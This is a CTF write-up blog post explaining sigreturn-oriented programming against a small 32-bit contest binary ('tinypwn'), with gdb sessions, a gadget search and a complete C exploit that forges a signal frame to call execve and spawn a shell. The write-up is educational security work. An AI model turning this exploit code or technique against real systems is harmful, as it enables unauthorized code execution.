Pages

mercredi 11 juin 2014

Sigreturn ROP exploitation technique (signal's stack frame for the win )


This is a writeup for pwnable800 using sigreturn Return Oriented Programming exploitation , it is a new and useful exploitation approach when you don't have enough gadgets to make a reliable ROP chain . This was introduced by Erik Bosman in OHM2013 .
Return to signals Exploitation trick is very generic, thus it makes a good exploitation reliability.

I was a CTF ogranizer in MCSC2014 computer security contest in ENSIAS,Rabat , I've made a binary with 800 points and it was one of the highest levels since sigreturn ROP still not a common technique. Unfortunately , no team has solved it , that's why I decided to write something about it.
You can download it from here : https://github.com/0x36/MCSC2014/tree/master/pwnables/p800

The code is very small and easy to spot where the vulnerability is , it is a basic stack based overflow with full controll of the stack.


s36@hacker:~/MCSC2014/pwnables/p800 on master # gdb -q tinypwn
Reading symbols from /home/s36/MCSC2014/pwnables/p800/tinypwn...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/s36/MCSC2014/pwnables/p800/tinypwn
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) x/10xw $sp
0xfffac494: 0x61616161 0x61616161 0x61616161 0x61616161
0xfffac4a4: 0x61616161 0x61616161 0x61616161 0xfffac80a
0xfffac4b4: 0xfffac854 0xfffac868
(gdb)

 
it looks like easy , let's take a look at the security features

s36@hacker:~/MCSC2014/pwnables/p800 on master # cat /proc/sys/kernel/randomize_va_space 2

s36@hacker:~/MCSC2014/pwnables/p800 on master # readelf -l tinypwn |grep GNU_STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10

s36@hacker:~/MCSC2014/pwnables/p800 on master # cat /proc/$(pidof tinypwn)/maps
08048000-08049000 r-xp 00000000 08:07 1323462 /home/s36/MCSC2014/pwnables/p800/tinypwn
f77d2000-f77d3000 r-xp 00000000 00:00 0 [vdso]
fff8c000-fffad000 rw-p 00000000 00:00 0 [stack]


ASLR and NX (in modern distros) are enabled by default ,so we can't jump into our user input (shellcode) in the stack . Time for ROP exploitation.
(gdb) x/5i 0xf77c342e
0xf77c342e <__kernel_vsyscall+14>: int 0x80
0xf77c3430 <__kernel_vsyscall+16>: pop ebp
0xf77c3431 <__kernel_vsyscall+17>: pop edx
0xf77c3432 <__kernel_vsyscall+18>: pop ecx
0xf77c3433 <__kernel_vsyscall+19>: ret
(gdb) x/2i 0x08048107
0x08048107 <+17>: int 0x80
0x08048109 <+19>: ret

we were looking for some rop gadgets , we found only two gadgets one in vdso section and the other in the binary itself , so we can control ebp,edx,ecx but there is no way to control ebx .
Time for sigreturn(unsigned long __unused)  exploitation technique , all we need is a gadget for « int 0x80;ret » and a control of eax .
read() syscall returns the number of bytes being read , we should set __NR_sigreturn in eax register and overwrite EIP with « int 0x80;ret » gadget.

s36@hacker:~/MCSC2014/pwnables/p800 on master # strace -e sigreturn -ff ./poc 139 ↵ ✭
[ Process PID=6243 runs in 32 bit mode. ]
sigreturn() = 0
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++
[1] 6242 segmentation fault strace -e sigreturn -ff ./poc

sigreturn() is successefully called , let's take a look at it using gdb .
(gdb) r
Starting program: /home/s36/MCSC2014/pwnables/p800/poc
process 1849 is executing new program: /home/s36/MCSC2014/pwnables/p800/tinypwn
Program received signal SIGSEGV, Segmentation fault.
0xcccccccc in ?? ()
(gdb) i r
eax 0x0 0
ecx 0xcccccccc -858993460
edx 0xcccccccc -858993460
ebx 0xcccccccc -858993460
esp 0xcccccccc 0xcccccccc
ebp 0xcccccccc 0xcccccccc
esi 0xcccccccc -858993460
edi 0xcccccccc -858993460
eip 0xcccccccc 0xcccccccc
eflags 0x40ec6 [ PF ZF SF IF DF OF AC ]
cs 0xcccf 52431
ss 0xcccf 52431
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)

perfect ! we are controlling all registers , but eax has 0 because the segment registers doesn't have the right values .
It'd be easy to get those values by writing some lines of Assembly code to get %cs,%ds,%fs and%gs segment register values .
%esp and %ebp must point to a writeable memory address .

Finally, we can do an infinite ROP chain , the final rop chain will be : segreturn() + execve().
We must have a static address pointing to a NULL terminated string to make it as the first argument of execve() syscall .
(gdb) x/s 0x80480ef
0x80480ef <aMsg+14>: "badass"

final rop chain :
eax = 11
ebx = a string pointer
ecx = 0
edx = 0
eip = « int 0x80 »

Final Exploit :

.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <asm/sigcontext.h>
 
#define SIGRETURN 119
#define SYSCALL 0x8048107
#define exec 0x80480ef   /* badass */


unsigned long get_stack_addr()
{
 unsigned long esp;
 __asm__ volatile ("movl %%esp,%%eax\n\t"
     "movl %%eax,%0"
     :"=r"(esp)
  );
 return esp;
}
int main(int argc,char **argv)
{
        char *args[4096]={0};
        unsigned char input[4096*2]={0};
        int i;
        int fds[2];
        struct sigcontext scon;
        
        memset(&scon,0,sizeof(struct sigcontext));

        scon.eax = 11;  /* execve syscall no  */
        scon.ebx = exec; /* "badass" the wrapper of our shellcode  */
 scon.ecx = 0;
 scon.edx = 0;
 scon.esp = scon.ebp = get_stack_addr(); /* must be a writeable section */
 scon.eip = SYSCALL;   /*  0xabad1dea; our new EIP control */
 scon.cs = 0x23;
 scon.ss = scon.ds = scon.es = 0x2B;
 
 
        for(i=1;i<4096;i+=1) 
                args[i]="\x41";
        
        pipe(fds);

        dup2(fds[0],0);
 
 
        memset(input,0xcc,sizeof(input));
        memcpy(&input[4],&scon,sizeof(struct sigcontext));

 /* We control EIP by "int $0x80;ret"  */
 *(void**)(input) = SYSCALL;
 
 /* Make read() returns the sigreturn syscall number  */
        write(fds[1],input,SIGRETURN);
 
        args[0] = "./tinypwn";
        args[4096] = NULL;
        execve(args[0],args,NULL);
        return 0;
}

and we got SHELL :
easy :) , right ?
Hope you enjoyed it.